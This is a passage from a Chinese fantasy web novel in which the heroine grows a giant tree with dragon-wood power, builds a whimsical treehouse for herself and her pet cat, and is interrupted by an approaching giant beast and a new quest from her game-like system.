因此，颜辞云把建家的优先度暂时往后挪了挪，开始全力催长这株小树苗。 先是十米，二十米，三十米。 随后又飞快长高到一百米，两百米，三百米！ 没有时间的沉淀，没有肥料的支撑。 仅仅是十分钟不到，这一粒树种就完成了幼苗到参天之木的巨变！ 而它消耗的，也仅仅是颜辞云体内的木龙龙魄之力，和一部分的息土。 是的，原来息土也是会被消耗的！ 此刻，这株高大的巨木早已成了附近地形上最醒目的标志物，没有之一。 而颜辞云则早已抱着小白，退到远处，给巨木留下足够的生长空间，也给视线留下更多的余地： 只见，巨木粗壮的树根深深扎入息土，又牢牢抓紧大地，粗糙的树皮无声而古老，就好似它亘古以来就伫立在了这座山丘上； 它苍郁的枝叶遮天蔽日，像是有一把绿色的伞如云撑开，沉重又轻盈地浮在半空，每一次簌簌的声音，都有绿色的雨点落下； 它如此巨大，如此生机盎然，如此……不可思议，如同奇迹！ 而这样的奇迹，是颜辞云用十分钟创造出来的！ 十分钟！ 颜辞云看着眼前的巨木，心中惊叹不已：所以，这就是【无限生长】的意思？ 在息土被消耗完之前，那颗种在息土上的种子，是可以永远地、无限地生长下去吗？ 就比如说眼前这足足有三百米高的参天巨木，它其实还可以长到四百米、五百米、甚至一千米一万米——是这个意思吗？ 颜辞云心下有些激动，跑回海底又啃了两口龙肉，补充了一下消耗的能量后，又返回山丘，继续催长巨木。 四百米，五百米，六百米！ 一千米，一千两百米，一千四百米！ 终于，颜辞云在山丘和海底间往返了两次，在巨木长到可怕的一千四百米后，就不再继续了。 这倒不是颜辞云力有不逮，或者是巨木遇到了生长限制。 而是可供巨木【无限生长】的息土，已经在这样的催长中被消耗得差不多了。 但，就算如此，巨木也已经足够高、足够可怕！ 因为……一千四百米啊！ 一千四百米高的巨木，这是什么样的概念？ 光是这巨木底部直径，就足有一百二十米！ 在这样令人惊叹的巨木面前，生命显得如此渺小。 无论是以颜辞云的蛇形来看，还是龙形来看，它都是如此的不可思议。 要知道，那海底龙尸也不过—— 呃…… 颜辞云想想那条不知其长，但光是倒下的高度就足有万丈的巨龙，沉默两秒。 算了，还是海底龙尸更不可思议一些。 比起海底龙尸，千米巨木又算什么？ 基操而已。 什么时候冲破平流层再激动也不迟。 果然，这样一想后，颜辞云便迅速冷静了下来。 她绕着巨木转了两圈，发现这千米巨木好巧不巧地扎根在了山丘的最高点、正中间。 如果颜辞云还想继续在这里建家的话，她的户型设计图就要大改……咦？ 颜辞云蓦地反应过来：不对，等等！ 为什么她还要那么死板，生搬硬套出一个普通的户型图？ 明明她都已经生活在这样不科学的异世界了，明明她都已经拥有了这样不可思议的系统了，为什么她还要死磕普普通通大平房？ 如果说最初的颜辞云把安全基地建在地下，是因为颜辞云有着极大的不安全感，需要厚重的石层来稳定自己忐忑的心。 那如今，选择在地上建房的颜辞云，无疑是自信且充满安全感的。 但是，既然她都已经抛弃恐惧，爬到地面上了，为什么不再爬高一点呢？ 为什么她不遵循自己最初的灵感和最直白的喜好，将自己的房子建在——树上？ 是啊，树上。 在树上建造一个高高的、漂亮又充满自然气息的、可以随时眺望远方的、就像是童话故事才会有的树屋！ 为什么不这样做呢？ 明明这世界上最漂亮最亲近她的一株巨木，就在她眼前呀！ “是的，没错，不要地穴，也不要大平层——就决定是你了，树屋！” 看着面前的巨木，颜辞云眼睛发亮，伸手拍了拍山一样的树干，脸上露出兴奋笑容。 “来吧，让我来画一个超美的设计图！” 然后，开工！ 第28章 树屋搭建计划 这是属于颜辞…… 搭建一个与世隔绝的、如童话般梦幻的树屋，需要什么？ 首先，一颗巨大的、能够承载树屋重量的树，这是最基础的，暂且不提。 而除此之外，搭建树屋所使用的木质材料，也必不可少。 虽然，以颜辞云手中神奇系统的特性，以及面前这颗参天巨木的承载力，哪怕颜辞云在树上搭石头房、水泥房都没问题，反正把材料怼上去，它们就会自动黏合在一块儿的。 可颜辞云想了想，觉得果然还是原木的房子更符合童话风。 但问题来了—— 颜辞云手上的原木块可不多！ 在原始森林被彻底烧毁后，颜辞云直到现在手上仍有可用的原木块，都已经是颜辞云未雨绸缪的结果、囤积癖的胜利了。 但想要从中倒腾出做一栋树屋的木质材料？ 或许勉强能够挤出来，但却必然元气大伤，日后颜辞云如果再想放开手做点木头制品什么的，那就是想都别要想了！ 木头块成为奢侈品，这怎么想都不是件好事。 所以颜辞云决定种树！ 把自己手上最后一把树种全都种下去，用木龙龙魄的力量催长，再砍伐掉，好迅速得到一批原木块和新的树种。 而至于树种种在什么地方，颜辞云也想好了，那就是海底龙尸用龙种力场隔绝出的那一片空地里。 要知道，木龙龙魄的力量虽然厉害，可以强行让作物跨越阶段、催生催长，但却也会最大限度地抽取土地肥力。 如果颜辞云是在地面上批量催长树种的话，那么想来种不了多少就得把土地种废，种出满世界的荒漠。 这可不是颜辞云想要的。 偶尔去看看沙漠，那叫欣赏风景，叫闲情逸致；而把附近所有的土地都搞成荒漠，那叫自找死路。 因此，积攒了无数年肥力与淤泥、不怕种废的海底，就成了颜辞云最好的选择。 说干就干！ 颜辞云带上一把树种，冲到海底，开始种树。 事到如今，颜辞云已经不再需要像最开始种地时那样，一个坑一个坑地填埋种子了。 颜辞云化出龙形，在海底空地的上方飞掠。 第一圈，她从物品栏掏出所有的树种，均匀洒落海底。 第二圈，她张口发出高亢龙吟，碧色的雾气在她周身浮动，浓郁如雨。而在这样的“雨”中，万物生长！ 一粒粒树种生根发芽，一道道绿意迎风摇曳。 如同奇迹再现！ 一片面积狭长的绿色森林，竟就这样在海底拔地而起！ 这一刻，颜辞云一时兴起，将自己的身形又拔高了些许，从空中俯视这片绿意。 只见，在这片森林的西侧，极具压迫感的冰雪如山如渊，冰冷伫立；而在这片森林的东面，万丈高的龙尸横陈，死意弥漫。 然而，就是在这样的酷寒与死亡中，代表着生命的绿色却如此倔强，生生把海底深渊的一片染上了自己的颜色，就像是撑开了一个生命领域。 渺小、摇摇欲坠。 瑰丽，璀璨夺目。 ——这就是生命的奇迹吗？ 不，这是属于颜辞云的奇迹！ 好好欣赏了一阵从自己手中诞生的“艺术品”后，铁石心肠的颜辞云提起效率最高的【钻石斧】，像杀猪一样把这片森林利落地嘎了。 轰！ 轰！ 轰！ 轰！ 只是四次的地动山摇，这片小森林就通通化作了掉落的木方块。 而当不符合物理规则的漂浮树叶，也全部掉落在地上，变成【树种】后，颜辞云便可以把它们收集起来，继续种树了。 看着这样的一幕，颜辞云又看了看自己手里的【钻石斧】，心中也是止不住地惊讶。 “钻石斧的威力……这么大的吗？” 颜辞云之前砍伐的树木不少，得到的树种自然也不少，不说成千上万，一两百肯定是有的。 而一两百颗长到一百多米的树，这绝对算是面积不小的一片森林了。 可颜辞云挥动钻石斧头的第一下，无形劲风激射，向前横扫，如摧枯拉朽般将它前路上所有挡路的巨木统统推倒！ 一条“道路”瞬间成型，森林被分割为左右两半。 而在颜辞云第二次和第三次挥动钻石斧时，她有了经验，调整了一下角度，把左右两侧的森林也统统扫平了。 至于最后一斧头，则是在清理最后几颗落网之鱼的同时，试探一下海底龙尸的硬度罢了。 实在是颜辞云想要把龙尸切块带走很久了。 龙肉虽然好吃，并且每一口的味道都不尽相同，像是某种美食回放，可颜辞云还是忍不住想试试手动烹饪龙肉。 而且，每次吃龙肉都只能上嘴啃，这实在是有失斯文，如今已经基本过度到石器时代的颜辞云，也是有点小讲究的呢！ 但—— “唉，果然不行。” 哪怕颜辞云如今左右一把钻石斧，右手一把树种，拥有斧之力三段，左右挥砍间已有纵横伐木场之势，可在面对龙尸时，依然只能徒呼奈何。 “算了算了，赶快把木块收集了吧。” 收集好所有的原木块和树种后，颜辞云又飞到另一头，继续种树。 就这样，反复几次，当颜辞云的【龙形】和【木·龙魄】都升到lv14时，颜辞云的物品栏也基本被【原木块】【树种】塞满了。 并且，除此之外，颜辞云竟然还捡到了一些新的东西。 【奇特的木墩】X5 【奇特的木墩：它似乎腐烂了，但却又带着一种奇异的生机，将它放在阴暗潮湿的角落，或许会有不一样的收获。】 【檖果】X21 【檖果：一种水果，可食用。】 【仙果】X12 【仙果：一种水果，可食用。】 【宽大的枝桠】X2 【宽大的枝桠：似乎是一截枝桠，又似乎是某种变异的种子。试着将它种下，或许会发现些什么。】 看到物品栏里多出的东西，颜辞云蠢蠢欲动的好奇之手当然第一个伸向了【仙果】！ 颜辞云将【仙果】拿到手里，定睛一看，觉得有些眼熟。 果实扁平形，两端凹入，粉皮细毛，闻之沁香。 这样的描述是不是很神奇？是不是很符合【仙果】的描述？ 但一口咬下后，颜辞云根据味道，从自己的记忆里找到了某种东西—— 桃子。 或者说，蟠桃。 提问：如果有一种水果看起来像桃子，闻起来像桃子，吃起来也像桃子，请问它叫什么？ 颜辞云：“这不就是桃子嘛！” 桃子就桃子，仙什么果啊。 颜辞云又摸出【檖果】，定睛再看。 果实卵形，微扁，褐色，汁水丰沛，食之清甜。 但一口咬下后，颜辞云根据味道，又从自己的记忆里找到了某种东西。 提问：如果有一种水果看起来像梨子，闻起来像梨子，吃起来也像梨子，请问它叫什么？ “当然就是梨子啊！” 好不容易掉落两个新东西，结果都是普通水果……这么厉害的异世界里，怎么就没有吃完后长生不老的仙果、吃完后飞升月亮的仙丹、吃完后立即升仙的天才地宝呢？！ 别人吃地瓜都能成为大魔导师，她怎么就不行呢？ 果然是没赶上第一批穿越潮吧！ 颜辞云暗暗一啧，把物品栏的东西收收好，并顺手又捡了一桶鹅卵石后，便一摆尾巴，走了。 当颜辞云回到巨木时，距离她离开也不过两小时左右，正是一天中天色最亮的时候。 适合开工。 颜辞云先是做好了木制楼梯，准备从巨木的底部开始，用一圈楼梯围上去，再在距离地面一百米、两百米和五百米的地方，分别建立生活区、休闲区与观景区。 但木制楼梯做出来后，颜辞云凝视片刻，觉得这楼梯实在太小巧了——以人类标准身高建造出来的楼梯，别说适合颜辞云的龙形了，就连颜辞云的蛇形也适应不了！ 或许是因为颜辞云的【龙形】不断升级，带动了颜辞云本体体质的不断暴增，哪怕如今颜辞云的【蛇形】还停留在lv1，可她的身高已经渐渐超过了五米，开始向着十米的方向发展了。 顺带一提，颜辞云的龙形已经涨至一百五十米了。 因此，对人类来说老大一块的一立方米木块，对颜辞云来说就是可以在手里随意抛接的小魔方，所以—— “所以，根据我的身高，一个台阶起码要一米高，五米宽……对吧？” 也就是说，一个台阶，起码需要五个原木块，因为做完台阶后，肯定还要做护栏！ 并且，这还只是一个开始。 因为台阶做完后，就轮到树屋的本体了，而根据颜辞云如今不断增长的身高——哪怕她大部分身高都加在了蛇尾的长度上——她树屋所需的室内高度肯定不低，而面积自然也不能小…… 颜辞云想着想着，忍不住开始对着面前的巨木挠头了。 虽然，颜辞云物品栏里【原木块】X999堆了数个格子，咋看起来好似多得普通人一辈子都用不完。 但是—— 普通人用不完的东西，普通小怪兽是绝对用得完的。 “所以……那些原木块……够用吗？” 第29章 建家 树屋雏形 够不够用的，先开工再说！ 颜辞云不再去想那些有的没的，在心中想好树屋的大致雏形后，就行动了起来。 首先，是楼梯。 颜辞云准备将自己的生活区建在离地面一百米的高空上，而至于一百米以下的部分，颜辞云并不打算掏空。 因为颜辞云想要建的树屋，完全是围绕着巨木、以巨木为核心来建的“树上的屋子”，而非是如蛀虫般趴在巨木身上吸血的“以树为屋”。 毕竟，颜辞云是想要让这颗巨木继续长的，直到让它长得比那座雷山还要高、直到枝桠冲破云霄，通往真正的“天外天”！ 而后，颜辞云便能够顺着巨木，去往天上，去瞧瞧这异世界的云端之上住着的，到底是神人国度还是浩渺宇宙。 所以，巨木自身的完整性就至关重要。 这样想着，颜辞云在巨木的二十米、四十米、六十米和八十米的高度，绕着巨木外围，做了一个木制的圆形平台。 平台约十米宽，除了作为上下楼梯的连结点之外，还能当作日常的休息区与瞭望台。 日后，如果颜辞云想搞得简单点，那就直接在平台的向阳面放两张躺椅，一个小茶几，再在四周的护栏上绕上些许藤曼、些许花儿……这就算是一个惬意而充满自然风光的休憩点了。 简单，但不简陋。 而如果颜辞云想搞复杂点，那就干脆在正对楼梯的另一侧平台处，把平台继续往外拓展、扩宽，做一个悬空的亭台，甚至还可以围上两层薄薄的轻纱。 这样一来，当颜辞云月下来到这亭台里观景时，晚风轻拂，薄纱翩翩，不是仙人，也胜似仙人了。 至于之后四十、六十、八十米的平台处，也都可以用这个为原型模板，自由发挥，想到什么添什么。 比如说——在巨木外一千多公里的地方，不就是一片沙漠吗？ 去取出足量的沙子，把沙子炼成玻璃，再用玻璃板围着八十米的平台做一个观景区，不也是很不错？ 这些，就是基地的“攀登区”了。 颜辞云花了不到一个小时，就搭出攀登区的所有平台与楼梯，只剩最后的精装修。 但精装修不急，接下来，颜辞云要搭建的是巨木一百米往上至二百米的地方，也就是重中之重的“生活区”。 关于生活区，颜辞云有预感自己未来会在这里放置许许多多的东西，而且生活区的面积本就不小，所以颜辞云要考虑一件她以前没考虑过的事——承重。 这个世界很多时候是不讲物理的。 比如说被颜辞云砍伐的树木，当树干倒下后，树叶竟漂浮在空中，过一段时间后才缓缓降落； 比如说那片无边无际的海洋，在“换季”时不但被蒸发一空后化作灰雪降落，最后更是被里里外外冻了个彻底； 还比如说被海底龙尸隔断的洋流、被黑色空间凝固的海域； 还比如说在炁的笼罩下不断“刷新”的紫毛鬣狗与蓝毛兔子…… 这一切的一切，都是完全不讲道理、不讲物理的。 可有些时候，它又似乎很讲道理。 比如说食物会腐烂，树叶会落下，生物要进食，草原被啃秃。 颜辞云在这里待得不久，不是很能抓得住这“讲道理”和“不讲道理”的界限，但至少，她在河边打水时却差点没把水桶提破了的经验，则很清楚地告诉了颜辞云，木头的承重力是有限的。 如果生活区的地板叠太薄，那么颜辞云作为沉重的小怪兽，很可能在日后的某一天和自己的屋子一起高空坠落。 而如果地板叠太厚——恐怕屋子自己能不能顺利撑住都得打个问号吧？！ 颜辞云思来想去，觉得树屋的承重柱是必要的。 可是，一百米高的树屋，怎么搞承重柱？ 是直接从地面堆上几根百米高的柱子吗？ 那树屋的意义何在？！ 而如果不这样做，树屋的承重又要怎么解决？ 颜辞云苦恼得几乎要揪光自己的头发：怎么偏偏在这件事上这么讲物理啊？！ 但是，果然，只要肯思考，办法总是会有的。 这不，颜辞云中午吃了一顿烤肉，又捉住毛茸茸的小猫睡了一顿午觉后，醒来的颜辞云灵光一闪： 可不可以把巨木的一部分当作“承重柱”？ 比如说……巨木的树枝？ 也不知道颜辞云催长的这株巨木到底是何品种。 当巨木长到一千四百米的高度后，它的枝桠粗壮如树，树叶密密，如云如盖。 但这都是一千米以上的事。 一千米之下，这巨木就只有光溜溜的树干，不见半点横生的枝桠，因此颜辞云之前也没想到这么回事。 可是，巨木自己没有枝桠，她颜辞云难道不能嫁接上枝桠吗？ 她拥有着木龙龙魄的力量，催生催长不再话下，想让哪个植物长，哪个植物就得长。 所以，她为什么不能在巨木的一百米处，种下树种，让那树种从这巨木的身上长出，成为巨木的“枝桠”，也成为树屋的“承重柱”呢？ 颜辞云知道自己这完全是异想天开、是不管不顾的胡来。 可谁叫她有超能力呢？ 想到就做！ 颜辞云先是忍着心痛，摸出几块金子，丢进巨木脚下的息土里，让那原本只剩薄薄一层的息土又重新变得厚重起来。 这是为了给巨木提供充足的肥力，以免它的生机在接下来的“嫁接”过程中消耗太过。 紧接着，颜辞云从自己的一大堆树种里挑出一个漂亮的、生命力旺盛的树种后，来到离地面一百米左右的地方，割开巨木树皮，把这颗树种拍进去，就开始催动木龙的力量。 催生树种的过程顺利得出乎颜辞云的意料。 颜辞云完全没有遇到想象中的阻力，也没有遇到预备方案里的意外。 这颗被颜辞云挑出的树种，好似天生就是巨木的一部分、只因为意外才没能长出一样，竟就这样在颜辞云的手里顺顺利利、结结实实地长了出来。 如果不是这颗树上挂满了蟠桃，颜辞云还真要以为它就是巨木的一部分了呢！ “不过……倒没想到是蟠桃树……” 坐在横向生长的蟠桃树上，颜辞云随手从蟠桃树茂密的枝叶中摘下一个“仙果”，撕开外皮，咬了一口。 “唔……味道不错。” 按理来说，没有经过驯化的水果，应该是难吃的。 哪怕不难吃，也绝不会好吃。 但这个异世界在这里又不太讲道理了，所以颜辞云催长出来的蟠桃还真的挺好吃。 两三口啃掉蟠桃，颜辞云用尾巴拍了拍蟠桃树，觉得一棵树还不够靠谱，于是又围着蟠桃树又种下了同样的四颗种子，继续催长。 而这一次的催长，颜辞云没再让它们自由生长，而是用意念干扰了它们，让它们围绕着第一颗蟠桃树虬结盘绕，一圈圈向上，令五棵树相互共生，最好如一棵树一样！ 颜辞云又成功了！ 那五颗蟠桃树，最后竟真的合为一体，你中有我，我中有你，相互缠绕，透着一种野蛮的生机感。 甚至颜辞云还发现，这后长出的枝桠上的果子，都显得格外诱人了些。 颜辞云看着这样的一幕，暗暗嘀咕： “这是不是……有点顺利过头了？” 顺利得颜辞云自己都心里没底。 “还是——” 颜辞云打开自己的技能栏，看到某个不知不觉中来到lv15的技能。 【木·龙魄（lv15）：在木龙之魄的影响下，你获得了它生前的部分能力，和一个简单的力场。在这个力场的范围内，你所有对炁的操控，都会得到极大加成】 “力场……？” 颜辞云伸出手，指尖在虚空轻轻一拨。 这一刻，颜辞云心弦微动，感到有什么无形的东西在她的指尖下轻轻荡漾。 这样的感觉，就像是颜辞云当初用邪龙噬雷枪去拨动“雾气”时一样。 “炁……？” 颜辞云轻轻吐息，长长的气息化作白练，在空中散开，可很快的，这白练染上了细微绿意。 但是，这并不是真正意义上的“绿色”，而是一种特殊的视觉。 就像是陨坑上浮动的“紫雾”并不是真正的“紫色”，“蓝雾”也并不是真正的“蓝色”一样。 那是一种受到某种力量影响、牵引后，才会在特殊视觉下呈现的“颜色”。 “原来如此。” 是木龙龙魄升级后的力场影响，也是炁的加成，而不是她真的开始“心想事成”了。 搞明白了怎么回事后，颜辞云总算松了口气，安安心心地在蟠桃树上搭建真正的树屋了。 当然，是树屋的第一块区域，玄关区与客厅区。 石质建材打底，木制建材包边。 再用原木块在蟠桃树上铺出一条连到圆形平台的楼梯后，就是达到树屋的大门了！ 颜辞云暂时没做好心仪的树屋正门，但门口的入口处，她倒是麻利地做了下沉式玄关，还准备在这里铺上蓝毛兔的兔皮，当做地毯。 不过，蓝毛兔的兔皮不够大。 哪怕后来这群兔子吃得痴肥，一个个壮得像是小猪，但一只蓝毛兔的兔皮肯定是铺不满颜辞云这个小怪兽的屋子玄关的。 还好，万能的制作台闪亮登场，颜辞云只要往制作台丢进【8兔皮】和【1针线包】，制作台就能返还给颜辞云一张超大的蓝毛兔皮。 颜辞云把这张超大的兔皮稍作裁剪后，很顺利地铺在了玄关。 接着，是玄关区的柜子。 柜子这东西，对颜辞云来说是很简单的。别人打柜子要钉子要榫卯，颜辞云直接拿出木板一搭。 搞定。 唯一的问题，就是外观看起来太过粗糙，并且没有柜门，显得太过简陋。 颜辞云看了两眼，决定接下来还是得抽空学个木雕。 反正她已经不愁吃不愁穿了，接下来就多试点新东西呗。 由于玄关的柜子简陋到丑陋，颜辞云干脆也不搞柜子了，拆了木板，做成置物架。 “嗯，果然好看多了。” 以后如果搜集到什么漂亮石头和摆件，就可以放在玄关的置物架上。 离开初显雏形的玄关后，就是树屋的客厅区了。 虽然颜辞云并没有需要招待的客人，但这完全不妨碍她给自己做一个漂亮的客厅。 而漂亮客厅的关键要素是什么？ 是风景，是光线！ 颜辞云特意把客厅区划在面朝裂谷花海的方向，就是为了那片百花盛开时的绝美风景。 但奈何，此刻树屋的客厅区黑漆漆的，阴森森的。 因为没有窗。 颜辞云抽空又跑去沙漠，用沙子练出数块玻璃板后，安在客厅墙上。 光，终于照了进来，照亮了这个空荡荡的毛坯房。 此刻，时间已经来到夜晚。 从窗外探入的，也不是日光而是月光。 颜辞云终于做出了玄关与客厅，但颜辞云看了看自己的物品栏和储物箱，发现自己除了材料之外，身无长物，竟没什么东西能往这个客厅里填。 “哦，对了，还有一桶珊瑚。” 颜辞云随手把装满珊瑚的木桶拿出来，放在客厅的一角，准备日后再拿它们搞装修。 她站在窗边，目光扫过树屋。 此时此刻，树屋里一切都是简陋甚至丑陋的。 比如说用木块充当的大门，用木板做出的置物架，以及空荡荡的客厅。 但是—— “这就是家啊，这就是我们的家啊，小白！” 颜辞云的好心情没有半点折损，抱起昏昏欲睡的小猫咪在客厅里开心转圈。 “这就是我们未来很长一段时间住的地方了哦！” 这是一个遮风避雨的地方，一个永远不会拒绝她的休憩之所，一个可以安然睡到第二天天明的——家。 “以后，就要靠我们来爱护它、装饰它、维护它了……”颜辞云抱着小老虎，喋喋不休，“虽然它现在很丑，我承认，但是，相信我，小白，它会有变得美丽和舒适的那一天的。 “你看，我准备建一个适合小白你玩的游乐园，里面全是你喜欢的猫爬架，我保证！ “还有卧室，这一次，我一定要好好布置我的卧室！石台这种东西，哪怕铺上垫子，睡得也一点不舒服！ “啊，对了，我们做一个直通湖泊群系的长滑梯怎么样？夏天的时候，我们觉得热了，就直接从滑梯飞到湖里！想想就很有趣对不对？ “还有还有……” 这一刻，颜辞云开心地说着，心中的快乐没有半点虚假。 因为，装饰属于自己的家，将一个空白而陌生的地方，改造成独属于自己的居所；将自己存在的痕迹与回忆，留在每一处地方——这本就是一件快乐的事。 这一件事里，不需要昂贵的地价，不需要豪华的装修，也不需要高不可攀、人前显圣的外观。 只需要充满生活和回忆的家具，充满心意和妥帖的细节。 属于“我”的避风港——这才是“家”的意义啊！ 第30章 任务上线 系统你认真的吗？ 接下来的数天时间，颜辞云都将自己的满腔热情投入到了新家的建设中去。 玄关与客厅建设好了后，自然就是卧室、厨房、活动室之类的地方。 但这些房间并不在同一平面上。 一来，蟠桃树虽然被颜辞云强行拧成了五合一，但想要载动颜辞云天马行空的想象，却还是不太可能的。 二来，树屋的精髓不就在树枝的高低错落之间吗？ 如果在树上建一个死板规矩的大平层，那和在地上建一个大平层有什么区别？ 想象力！ 树屋，就应该是充满想象力的建筑啊！ 比如说，卧室为什么要是封闭的呢？ 露天的行不行？ 将巨木茂密的枝叶拨开一道缝隙，令阳光从绿色的云层里投下。 接着，在巨木500米处催长一颗梨树，搭一个高高的平台，接下那片最美的阳光。 铺几层软草，再铺几层软垫，最后铺上毛茸茸的兔皮。 这样一来，哪怕是冬季，不也能在太阳下睡一个香甜的午觉吗？ 当然，这样的“卧室”到了夏天一定会非常热，休息不了一点儿，所以颜辞云还需要一个“夏日专用卧室”。 这个卧室，可以建在水下，比如说巨木不远处湖泊群系中最大的那块湖泊的湖底。 手握制作台的颜辞云，可以轻易用沙子炼出玻璃来，所以颜辞云完全可以在湖底用玻璃板搭出一个超漂亮的、360度全景无死角的水下玻璃卧室！ 由于颜辞云本来就没想要把玻璃卧室的水抽干——或者说，夏天那带着沁凉的湖水正是水下玻璃卧室里的一环，所以颜辞云暂时不用考虑玻璃板的承重问题。 而至于为什么不把玻璃房的水抽干？ 原来是前两天，颜辞云终于意外发现，自己的蛇形作为“两栖动物”，其实是可以长时间待在水下不用呼吸的。 颜辞云暂时没有试过自己的极限憋气时间，但想来憋气个三五天不成问题，再不济，就直接变成【鱼形】也可。 所以，颜辞云的玻璃房自然不用考虑呼吸问题，那是怎么漂亮怎么做了。 珊瑚，鹅卵石，漂亮小鱼，全都搁在玻璃房外，再把漂亮假山挪过来，当作水景卧室外的观赏物。 而至于丑鱼，丑石头，丑虫？ 统统丢去隔壁湖泊！ 就这样，颜辞云的水景玻璃房飞快做好了。 夏天热了想睡觉时，她就可以将玻璃门一关，把那些游来游去的小家伙关在外头；而当她只想纳凉的时候，就可以把玻璃门一开，往水里一躺，和小鱼小虾们一块儿随波逐流。 至于这个夏日专用的水景玻璃房要怎么来回，颜辞云也早早想好了办法。 颜辞云在自己的“客厅”处打开了一道门，做了一个直通湖泊的长滑梯——是的，做滑梯颜辞云是认真的——一到夏天，或者一到颜辞云想要吃鱼的时候，颜辞云可以坐滑梯哧溜冲向湖泊群。 快捷，方便，刺激，好玩！ 对于小孩子来说，这个滑梯可能过于幼稚，但对于颜辞云来说这个滑梯刚刚好。 不过，关于怎么快捷方便、不用变成龙形也能迅速从湖泊群回来的办法，颜辞云倒是暂时没有想好，只能暂且放放。 做好了冬夏两处的卧室后，颜辞云本来还想做春天的卧室、秋天的卧室、雨天的卧室，等。 但小白显然记得颜辞云跟它信誓旦旦保证过的猫爬架，于是，颜辞云只能把其他的房间放一放，开始在巨木150米-250米的高度修建活动室。 活动室这一房间可是很重要的。 在颜辞云的预期中，它将会是她和小白日后无聊时打发时间的重要去处，所以它除了要有能让小白爬高爬低、到处的玩耍地方外，还要具备一定的功能性。 比如说，这里应该有一张能让颜辞云坐得很舒服的椅子与雕刻桌。 当外界下起倾盆大雨不适合行动的时候，或者颜辞云无所事事懒得出门探索的时候，她就可以坐在这里，琢磨雕刻，琢磨如何给自己的客厅增添新的漂亮家具。 而想要达成这样的一点，雕刻桌旁边有一个漂亮的、巨大的落地窗，是必要的。 每当暴雨倾盆，后又被巨木的枝叶承接、删减，化作蒙蒙细雨在玻璃窗外飞扬时，想来是极漂亮的景色，每当颜辞云雕刻累了的时候，她只要稍稍侧头，就能看到窗外朦胧婉约的雨景。 除此之外，一个暖洋洋的炉子或许也是必要的。 如今的颜辞云手上，已经摸索出了好几个有关取暖的配方表，比如说用木头围成的【营火】，用石头围成的【火坑】。 但这些都是明火，而且是比较难控制的明火。 如果可以，颜辞云是绝不想在自己的小树屋里点燃明火的。 颜辞云觉得，这可能是换季时那座被一口气烧光的原始森林留给她的阴影。 总之，思来想去，颜辞云灵光闪过，干脆搓出一个熔炉，放在活动室当壁炉用，需要使用的时候，只要往里头丢点可燃物，它就会瞬间散发出熊熊热量。 并且，熔炉还有一个好处，那就是它完全是由石头做成的，还自带石质的盖子。当可燃物燃烧起来的时候，颜辞云可以直接合上熔炉盖，这样一来，颜辞云就完全不用担心火灾的问题了。 当然，当然，想了这么多“自己”的爱好，反而把活动室的主人公小白丢在一边，这实在很不应该。 所以颜辞云开始思考除了猫爬架外，自己还能在这个活动室里布置什么小白喜欢的东西。 但……仔细想想，小白到底喜欢什么？ 除了吃和睡之外，还有什么？ 糟了！完全想不到！ 不同于颜辞云的超多想法和丰富想象，小白一直以来都有着非常朴素的爱好： 吃，睡，玩！ 并且，小白爱好的“玩”，还不是非常复杂的玩法，反而非常简单。 给小白一根草绳，它能叼着草绳走来走去转圈圈，自得其乐，哪怕最后把自己绕成一个毛线团，嗷呜嗷呜地求颜辞云解救，但下一次它还能继续这样玩； 给小白一只兔子或鬣狗，它能撅着屁股练习捕猎，把兔子逗得晕头撞向，把鬣狗吓得四处逃窜，最后玩尽兴了，再一口吃掉； 而哪怕是什么都不给小白，它也能自得其乐，原地刨洞，把爪子伸进去掏掏摸摸，再滚自己一身泥土，开开心心，蹦蹦跳跳，属实是妈见打了。 但无论如何，小白都突出一个词： 好养！ 什么都能吃，哪里都能睡，什么都能玩！ 这不是好养是什么？ 但，越是这样好养的孩子，颜辞云反而越不知道该给它什么了。 “唔……算了，一步步来吧。” 先把猫爬架做好吧！ 颜辞云给小白做的猫爬架，约70米高，里头没什么多余的东西，就是各种树枝和各种藤蔓，高低错落，像一座自然的小迷宫。 而为了让这座小迷宫更具有趣味性和生命力、会随着时间的变化而变化，颜辞云不但将活动室的穹顶换成了玻璃天窗，还费尽心思地将承载活动室重量的树枝和活动室内的树枝藤蔓交缠起来，让它们能够共同生长。 这样一来，这个活动室就不像是人造的了，倒有点儿像是树上自己长了个遮风避雨的小房间。 绿意盎然，生机勃勃！ 至此，颜辞云一共造了四个房间，分别是负十米处的水下湖景玻璃房、距地面100米左右高的大客厅、距地面150米左右高的活动室，以及距地面500米左右的冬日阳光卧室。 除此之外，巨木100米以下的部分，还分别在20米、40米、60米、80米处有四个圆形平台。 总的来说，颜辞云的活动区域已经相当大了。 所以她对树屋的修建扩建工作，或许可以搞一段落，开始专心搞内装饰了——颜辞云自己其实也是这样想的。 可是，就在颜辞云专心待在活动室里琢磨木雕的第三天，颜辞云竟然又听到了熟悉的声音： 轰！ 轰！ 轰！ 像是雷声，又像是脚步声。 大地开始颤动，越来越剧烈。 甚至颜辞云脚下的树屋也开始摇晃，并越晃越明显！ 地震？ 不，是有什么东西在靠近。 并且越来越近！ 几乎在察觉到这熟悉声音与熟悉震颤的瞬间，颜辞云就变了脸色，蓦地站起，向地震的方向望去： 不会吧？ 难道是又要换季了？ 离上次换季有一个月没有？！ 颜辞云半点不敢耽搁，在冲出活动室的瞬间就化作龙形，先是看向雷山的方向，接着又向震感传来的方向眺望。 好消息：不是换季。 雷山上的雷云仍然没有凝聚，并且也没有从天而降的“蓝焰”和从地底冲出的“红水”大打出手。 坏消息：是巨兽！ 它庞然如山，虽然用四足行走，但身躯依然有千丈之高！ 远远的，颜辞云除了看到它深色的毛皮和恐怖雪白的獠牙外，再看不清更多细节，可颜辞云的直觉感到，这绝对不是一个好相与的家伙！ ——为什么这儿冷不丁出现了这样一只巨兽？ 不知道。 ——它从哪儿来？为什么在片刻之前半点预兆也没有？ 不知道。 ——它要去往什么地方？会破坏自己的树屋吗？会影响自己的平静生活吗？ 不知道…… 颜辞云心下焦灼。 而更让她感到不妙的是，这原本在远处游荡的巨兽，不知道为什么，正漫不经心地向颜辞云这边走来。 虽然它速度不快，可它的方向和目的却非常明确： 就是颜辞云栽种的这颗巨木！ “怎么真的过来了？” 颜辞云看了看自己才一百米出头的小身板，又看了看那只一脚一个天坑的巨兽，心中越发焦虑。 “可以引走吗？会不会有它的天敌从天而降把它干掉？” “还是——要我去打？” 颜辞云正在这边焦急得转圈圈。 另一边，沉寂许久的、让颜辞云几乎都快要忘掉了的系统音响起： 【叮！任务[辨识百草]已开启，种植区块加载中，请玩家尽快尝遍百草。】 颜辞云：“……啊？” 她尝百草？ 在这个时间点上线刷这个任务？ 系统你认真的吗？ 